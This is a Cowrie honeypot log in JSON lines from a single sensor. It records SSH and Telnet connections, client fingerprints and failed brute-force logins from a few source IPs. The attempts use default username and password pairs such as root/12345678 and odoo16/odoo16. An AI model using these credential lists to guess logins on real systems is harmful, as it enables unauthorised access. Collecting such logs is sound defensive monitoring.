{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:38.373236Z","src_ip":"95.38.165.118","session":"2b140548894f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55058,"dst_ip":"10.17.0.5","dst_port":22,"session":"805f4e20cb6a","protocol":"ssh","message":"New connection: 95.38.165.118:55058 (10.17.0.5:22) [session: 805f4e20cb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:42.761445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:42.766389Z","src_ip":"95.38.165.118","session":"805f4e20cb6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:42.848837Z","src_ip":"95.38.165.118","session":"2b140548894f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:42.934661Z","src_ip":"95.38.165.118","session":"805f4e20cb6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:43.451427Z","src_ip":"95.38.165.118","session":"805f4e20cb6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:44.658898Z","src_ip":"95.38.165.118","session":"805f4e20cb6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.20375728607178,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:46.620533Z","src_ip":"69.4.83.194","session":"e990a648026a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55866,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e86add6d881","protocol":"ssh","message":"New connection: 95.38.165.118:55866 (10.17.0.5:22) [session: 6e86add6d881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:48.644431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:48.760726Z","src_ip":"95.38.165.118","session":"6e86add6d881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:48.909587Z","src_ip":"95.38.165.118","session":"6e86add6d881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50296,"dst_ip":"159.203.135.109","dst_port":23,"session":"d469bc3eaf52","protocol":"telnet","message":"New connection: 69.4.83.194:50296 (159.203.135.109:23) [session: d469bc3eaf52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:50.382537Z"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:51.437179Z","src_ip":"95.38.165.118","session":"6e86add6d881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:52.610507Z","src_ip":"95.38.165.118","session":"6e86add6d881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55876,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e1c20cd2457","protocol":"ssh","message":"New connection: 95.38.165.118:55876 (10.17.0.5:22) [session: 7e1c20cd2457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:52.957415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:52.962833Z","src_ip":"95.38.165.118","session":"7e1c20cd2457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:53.683489Z","src_ip":"95.38.165.118","session":"7e1c20cd2457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:54.214411Z","src_ip":"95.38.165.118","session":"7e1c20cd2457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50728,"dst_ip":"159.203.135.109","dst_port":23,"session":"751d31d7010c","protocol":"telnet","message":"New connection: 69.4.83.194:50728 (159.203.135.109:23) [session: 751d31d7010c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:54.660309Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:56.033793Z","src_ip":"95.38.165.118","session":"7e1c20cd2457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":33766,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2704b26ec02","protocol":"ssh","message":"New connection: 95.38.165.118:33766 (10.17.0.5:22) [session: a2704b26ec02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:58.041857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:58.046620Z","src_ip":"95.38.165.118","session":"a2704b26ec02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:58.775841Z","src_ip":"95.38.165.118","session":"a2704b26ec02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":37494,"dst_ip":"159.203.135.109","dst_port":22,"session":"35579f69c26b","protocol":"ssh","message":"New connection: 103.15.222.183:37494 (159.203.135.109:22) [session: 35579f69c26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:01.742368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:01.753706Z","src_ip":"103.15.222.183","session":"35579f69c26b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:01.855068Z","src_ip":"95.38.165.118","session":"a2704b26ec02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:01.996666Z","src_ip":"103.15.222.183","session":"35579f69c26b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vladimi","message":"login attempt [root/vladimi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:02.731736Z","src_ip":"103.15.222.183","session":"35579f69c26b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":33774,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5add3d2a93e","protocol":"ssh","message":"New connection: 95.38.165.118:33774 (10.17.0.5:22) [session: c5add3d2a93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:02.984728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:02.992629Z","src_ip":"95.38.165.118","session":"c5add3d2a93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:03.034420Z","src_ip":"95.38.165.118","session":"a2704b26ec02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:03.180172Z","src_ip":"95.38.165.118","session":"c5add3d2a93e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55224,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc48a2a86561","protocol":"telnet","message":"New connection: 69.4.83.194:55224 (159.203.135.109:23) [session: cc48a2a86561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:03.653307Z"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:03.749360Z","src_ip":"95.38.165.118","session":"c5add3d2a93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:03.976957Z","src_ip":"103.15.222.183","session":"35579f69c26b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:04.923070Z","src_ip":"95.38.165.118","session":"c5add3d2a93e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55128,"dst_ip":"10.17.0.5","dst_port":22,"session":"2445c1e6820f","protocol":"ssh","message":"New connection: 95.38.165.118:55128 (10.17.0.5:22) [session: 2445c1e6820f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:08.042859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:08.202872Z","src_ip":"95.38.165.118","session":"2445c1e6820f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:08.628090Z","src_ip":"95.38.165.118","session":"2445c1e6820f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:10.012367Z","src_ip":"95.38.165.118","session":"2445c1e6820f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:12.802966Z","src_ip":"95.38.165.118","session":"2445c1e6820f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55134,"dst_ip":"10.17.0.5","dst_port":22,"session":"85addee613b6","protocol":"ssh","message":"New connection: 95.38.165.118:55134 (10.17.0.5:22) [session: 85addee613b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:13.601178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:13.610622Z","src_ip":"95.38.165.118","session":"85addee613b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:13.781084Z","src_ip":"95.38.165.118","session":"85addee613b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:09:15.612585Z","src_ip":"95.38.165.118","session":"85addee613b6","protocol":"ssh"}
